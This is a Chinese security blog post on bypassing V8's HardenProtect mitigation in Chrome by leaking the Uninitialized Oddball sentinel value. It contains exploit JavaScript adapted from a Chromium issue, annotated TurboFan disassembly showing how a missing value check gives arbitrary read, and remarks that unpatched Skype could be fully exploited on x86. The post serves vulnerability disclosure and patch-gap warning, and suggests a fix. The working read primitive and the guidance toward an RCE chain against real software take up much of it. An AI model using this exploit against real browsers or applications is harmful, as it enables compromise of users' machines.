独家揭秘通过泄露Sentinel Value绕过Chrome v8 HardenProtect

2023-01-04
488

前言

Sentinel value(又名flag value/trip value/rogue value/signal value/dummy data)是算法中的一个特殊值,通常在循环或递归算法中作为终止条件的特殊值存在。Chrome源码中有很多Sentinel value。from-leaking-thehole-to-chrome-renderer-rce和TheHole New World - how a small leak will sink a great browser (CVE-2021-38003)中,都介绍了如何通过泄露TheHole对象实现CVE-2021-38003和CVE-2022–1364的沙箱内任意代码执行。在我们发文阐述该缓解绕过大概一周后,谷歌团队也迅速把这两个在野CVE同步更新到了github上。时间节点如下:

1671532651_63a1906b490b637bf1075.png!small?1671532652104

我们从Chrome源码中可以看到对TheHole对象导致任意代码执行的缓解修复。但实际上,除了TheHole对象外,v8中还有很多其他的原生对象,不应该泄漏到JS中。本文要讨论的对象是:Uninitialized Oddball,该绕过方法的完整代码最先出现在Issue1352549中,由Project0成员tiszka在exp中完整给出,值得一提的是,目前该方法目前仍可用于最新版V8,谷歌尚未针对该缓解绕过进行修复。

为引起厂商注意,这里我们不得不提一下该方法的通用性:

01-glazunov在提交Issue1216437(CVE-2021-30551)中首先给出的poc便是泄露internal uninitialized oddball,虽然第二个poc给出是类型混淆,但是结合本文方法仅有第一个poc即可轻松完成RCE;

02-Issue1314616(CVE-2022-1486)中,p0成员btiszka在给出的poc中也是直接泄露UninitializedOddball,虽然当时从泄漏UninitializedOddball到RCE的利用尚未完全清晰,但也足以说明安全问题,作者在Issue中如下陈述:

"Exploitability Notes: Currently, I'm not sure if this primitive can lead to more than an infoleak. Exploitation is not as straightforward as ..."

03-Issue1352549(NoCVE) 请注意该PatchGap的影响!

我相信这三点就足以给我们充分的理由去复核下可能受PatchGap影响的软件。截至目前,Skype尚未修复该漏洞。

Sentinel valuein V8

我们可以在文件v8/src/roots/roots.h中看到v8的大部分原生对象。这些对象在内存中依次相邻排布。

/* Oddballs */Offset\
V(Oddball, uninitialized_value, UninitializedValue)  0138  \
V(Oddball, the_hole_value, TheHoleValue) 0148  \
V(Oddball, arguments_marker, ArgumentsMarker)  0218  \
V(Oddball, exception, Exception)  %DebugPrint() crash0220  \
V(Oddball, termination_exception, TerminationException) 0228  \
V(Oddball, optimized_out, OptimizedOut)  0230  \
V(Oddball, stale_register, StaleRegister)0238  \

漏洞触发后,一旦将不应该泄露到Javascript中的原生对象泄露了出去,即可实现沙箱内任意代码执行。上一篇文章中TheHole对象的泄露也恰好说明了该问题。这里我们也再次重申,该方法在最新版V8中尚未修复。

为了在最新版V8中验证该方法,我们可以通过修改v8的native函数,将Uninitialized Oddball泄漏到JavaScript中,这里我们直接对%TheHole()函数中相对isolate偏移(索引)进行修改即可实现返回值为Uninitialized Oddball。ida对Runtime_TheHole函数反编译后代码如下所示:

 

v8::internal::Address v8::internal::Runtime_TheHole(int args_length, v8::internal::Address *args_object, v8::internal::Isolate *isolate)
 push rbp
 mov  rbp, rsp
 lea  rax, v8::internal::V8HeapCompressionScheme::base_
 mov  eax, [rax]
 test eax, eax
 jnz  short loc_9B2ABA
 mov  rax, [isolate+148h]  ;;修改148h为138h
 pop  rbp
 retn

调用%DebugPrint(%TheHole())如下输出所示:

$ ./d8 --expose-gc --allow-natives-syntax /home/avboy/Desktop/poc.js0x210400002371 

Bypass HardenType

该方法在Issue1352549中直接给出了所有源码,我们直接对其进行提取和简化即可,如下代码所示:

class Helpers {
 constructor() {
  this.buf = new ArrayBuffer(8);
  this.u64 = new BigUint64Array(this.buf);
  this.f64 = new Float64Array(this.buf);
  this.u32 = new Uint32Array(this.buf);
  gc();
 }
 f2big(f) {
  this.f64[0] = f;
  return this.u64[0];
 }
 fhi(f) {
  this.f64[0] = f;
  return this.u32[1];
 }
 flow(f) {
  this.f64[0] = f;
  return this.u32[0];
 }
}
function UninitializedOddballExploiter(uninitialized_oddball) {
 var h = new Helpers();
 let arr = new Array(0x1000000);
 arr[0] = 1.1; arr.a = 1.1;
 let exp1 = { prop: uninitialized_oddball };
 let exp2 = { prop: { read_arr: arr } };
 let read = (object, index) => { return object.prop.read_arr[index]; };
 % PrepareFunctionForOptimization(read);
 read(exp2, 0);
 % OptimizeFunctionOnNextCall(read);
 const old_space = 0x200000;//0x200000
 let start_offset = Math.floor(old_space / 8) + 3;
 for (var i = start_offset; i < start_offset + 0x6b000; i++) {
  let real_offset = i - 2;
  let hi = read(exp1, real_offset);
  let lo = read(exp1, real_offset - 1);
  let result = (BigInt(h.flow(hi)) << 32n) + (BigInt(h.fhi(lo)));
  console.log("result:" + result.toString(16));
  readline();
 }
}
UninitializedOddballExploiter(%TheHole());//注意对%TheHole()做patch

我们对上述代码在v8-11.0.0中测试,当%TheHole()返回UninitializedOddball时,仍旧可以实现相对任意读。

./d8 --expose-gc --allow-natives-syntax --print-opt-code --print-opt-code-filter=read --trace-turbo /home/avboy/Desktop/poc2.js

对优化后的JavaScript的read函数去掉Prologue,留下关键反汇编如下所示:

0x558b20004069 29  488b4d18 REX.W movq rcx,[rbp+0x18] 
0x558b2000406d 2d  f6c101testb rcx,0x1  ;; check if rcx(ie. obj, the 1st arg of function) is 'Smi'
0x558b20004070 30  0f842e020000jz 0x558b200042a4  <+0x264>;; deopt reason 'Smi'
0x558b20004076 36  41b831cd1900movl r8,0x19cd31  ;; (compressed) object: 0x17140019cd31 <Map[16](HOLEY_ELEMENTS)>
0x558b2000407c 3c  443941ff cmpl [rcx-0x1],r8 ;; check the map(r8=0x19cd31 is the map of obj)
;; here we check the map of obj, but we did not check the value of key(ie.  obj.prop)
;; and if we make the value of key to be uninitialized_oddball, there is the bypass
0x558b20004080 40  0f8522020000jnz 0x558b200042a8  <+0x268>  ;; deopt reason 'wrong map'
0x558b20004086 46  448b410b movl r8,[rcx+0xb] ;; *(addr(obj)+0xb) -> r8
0x558b2000408a 4a  478b44060b  movl r8,[r14+r8*1+0xb]  ;; r14 is high addr
0x558b2000408f 4f  4d03c6REX.W addq r8,r14 ;; r8 -> [String] in ReadOnlySpace: #uninitialized
0x558b20004092 52  458b4807 movl r9,[r8+0x7]  ;;
0x558b20004096 56  4d03ceREX.W addq r9,r14 ;; r9 -> 0x2eb90000000d
0x558b20004099 59  458b400b movl r8,[r8+0xb]  ;; 
0x558b2000409d 5d  488b7d20 REX.W movq rdi,[rbp+0x20]  ;; rdi is index of arr, the 2nd arg of function
0x558b200040a1 61  40f6c701 testb rdi,0x1  ;; check if rdi is 'Smi'
0x558b200040a5 65  0f85da000000jnz 0x558b20004185  B5 <+0x145>  ;; if rdi is not 'Smi', JMP
0x558b200040ab 6b  4c63dfREX.W movsxlq r11,rdi;; 
0x558b200040ae 6e  49d1fbREX.W sarq r11, 1 ;; r11/2, because 'Smi' stored as 'Smi'*2 in Memory
0x558b200040b1 71  4d63c0REX.W movsxlq r8,r8
0x558b200040b4 74  49d1f8REX.W sarq r8, 1
0x558b200040b7 77  4d3bd8REX.W cmpq r11,r8 ;; r11 = 0x40002,real_offset as the index of arr
0x558b200040ba 7a  0f83ec010000jnc 0x558b200042ac  <+0x26c>  ;; deopt reason 'out of bounds'
0x558b200040c0 80  c4817b1044d907 vmovsd xmm0,[r9+r11*8+0x7] ;; move double float value to xmm0
0x558b200040c7 87  c5f92ec0 vucomisd xmm0,xmm0;; Compare float value and Set EFLAGS
0x558b200040cb 8b  0f8a88010000jpe 0x558b20004259  B9 <+0x219>  ;; jpe(Jump if parity even)
0x558b200040d1 91  0f8582010000jnz 0x558b20004259  B9 <+0x219>  ;; jnz(Jump if not zero)

在0x558b2000407c处,检查了read函数的obj,确定其prop属性正确,但没有检查以obj.prop为key的Value,而是直接按照JavaScript语义计算偏移,求取数组的数值。如此导致我们在计算的时造成类型混淆,实现任意读。

如上汇编所示,当我们传入uninitialized_oddball时,从0x558b20004086开始以obj为起点计算,最终在vmovsd xmm0,[r9+r11*8+0x7]指令中完成任意读,数据保存在xmm0寄存器中。类似TheHole对象,由于uninitialized_oddball在v8内存中排序靠前,且对象内容更加原始,伪造更加容易,在TheHole缓解绕过修复后,该方法不失为绕过首选。同理,任意写我们可以参考Issue1352549进行构造分析。由于原理雷同,这里不再赘述。

这里修复建议是,对优化后的函数返回数组元素时,添加对数组map的检查,避免直接计算偏移返回数组数值。

PatchGap Alert

在我们谈论PatchGap时,实际上我们不仅仅需要关注曾经出现的历史漏洞,我们还要关注厂商在基础组件中悄悄修复的漏洞。对Issue1352549分析后,我们迅速排查了可能存在PatchGap的软件,这里不得不指出,截至目前Skype仍旧没有对该漏洞进行修复。在x86下任意读写会稍有不同。x64下由于存在地址压缩,在tuborgfun优化javascript生成的代码中,v8会默认将基址加上。x86由于没有基址,因此任意读写是直接相对于整个进程的。如下汇编所示:

0x3979b8ff 3f  8b790b mov edi,[ecx+0xb]
0x3979b902 42  8b7f0b mov edi,[edi+0xb]
0x3979b905 45  8b4707 mov eax,[edi+0x7] ;; eax will be a fixed number
0x3979b908 48  8b7f0b mov edi,[edi+0xb]
0x3979b90b 4b  8b5510 mov edx,[ebp+0x10]
0x3979b90e 4e  f6c201 test_b dl,0x1
0x3979b911 51  0f85b6000000 jnz 0x3979b9cd  <+0x10d>
0x3979b917 57  89d6mov esi,edx
0x3979b919 59  d1fesar esi,1;; esi is index
0x3979b91b 5b  d1ffsar edi,1;; 0x3734b73a
0x3979b91d 5d  3bf7cmp esi,edi
0x3979b91f 5f  0f838e010000 jnc 0x3979bab3  <+0x1f3>;; deopt reason 'out of bounds'
0x3979b925 65  c5fb104cf007 vmovsd xmm1,xmm0,[eax+esi*8+0x7] ;; 

如上所示,esi为任意读数组的索引,eax为固定值,edi为"out of bounds"检测的数值,实际上调试时我们可以看到,edi为一个很大的数值,远超过声明时数组的最大范围。

因此,在edi范围内,可以任意读写。在具体做skype的exp时,虽然此时我们没有地址压缩带来内存读写的便利,且skype开启了aslr。但由于该文件太大,直接放在4GB内存中,黑客只需要对某个固定地址进行读写,便可以一个极大的概率读写skype文件中的内容。结合PE解析等传统思路,不难完成整个漏洞利用链。基于此,我们无法保证黑客不能在短时间内完成整个利用链的适配。

这次PatchGap实际上不止需要排查Issue1352549,由于一个新的绕过方法的公开,直接导致了类似Issue1314616和Issue1216437的利用难度大幅度降低,黑客几乎不需要花费任何研究成本,即可实现以往任何泄露uninitialized_oddball漏洞的完整利用,包括谷歌cluster fuzz提交的所有Issue中类似的漏洞。

总结

本文仅抛砖引玉,粗略来谈通过泄露Sentinel value中的uninitialized_Oddball来实现任意读原语。如第二部分所示,v8中的Sentinel value还有很多,实际上我们在测试Sentinel value的时候,也会经常容易遇到崩溃,不乏有非int3的崩溃出现。由于Uninitialized_Oddball和TheHole均已被证明可以在v8中实现环节绕过,我们有充分的理由怀疑其他Sentinel value也可能导致类似问题。

这也给我们一点提示:

01-其他uninitialized_Oddball泄露是否会轻松实现v8的RCE;

02-我们已经看到,谷歌会迅速将TheHole绕过进行修复,我们也看到利用垃圾回收实现ASLR绕过被长期搁置。这说明类似issue仍处在一个模糊边界,即是否被正式当作安全问题对待。

03-如果02中的问题被当作正式安全问题对待,那么在fuzzer中是否有必要考虑将%TheHole/uninitialized_Oddball等Sentinel value作为变量加入,来挖掘其他利用原语;

这里不得不强调的是,无论该类问题是否被正式当作安全问题对待,它都会大大缩减黑客实现完整利用周期。

参考资料

https://bugs.chromium.org/p/chromium/issues/detail?id=1314616

https://bugs.chromium.org/p/chromium/issues/detail?id=1352549

https://bugs.chromium.org/p/chromium/issues/detail?id=1216437

https://starlabs.sg/blog/2022/12-the-hole-new-world-how-a-small-leak-will-sink-a-great-browser-cve-2021-38003/

转载时必须以链接形式注明原始出处及本声明

扫描关注公众号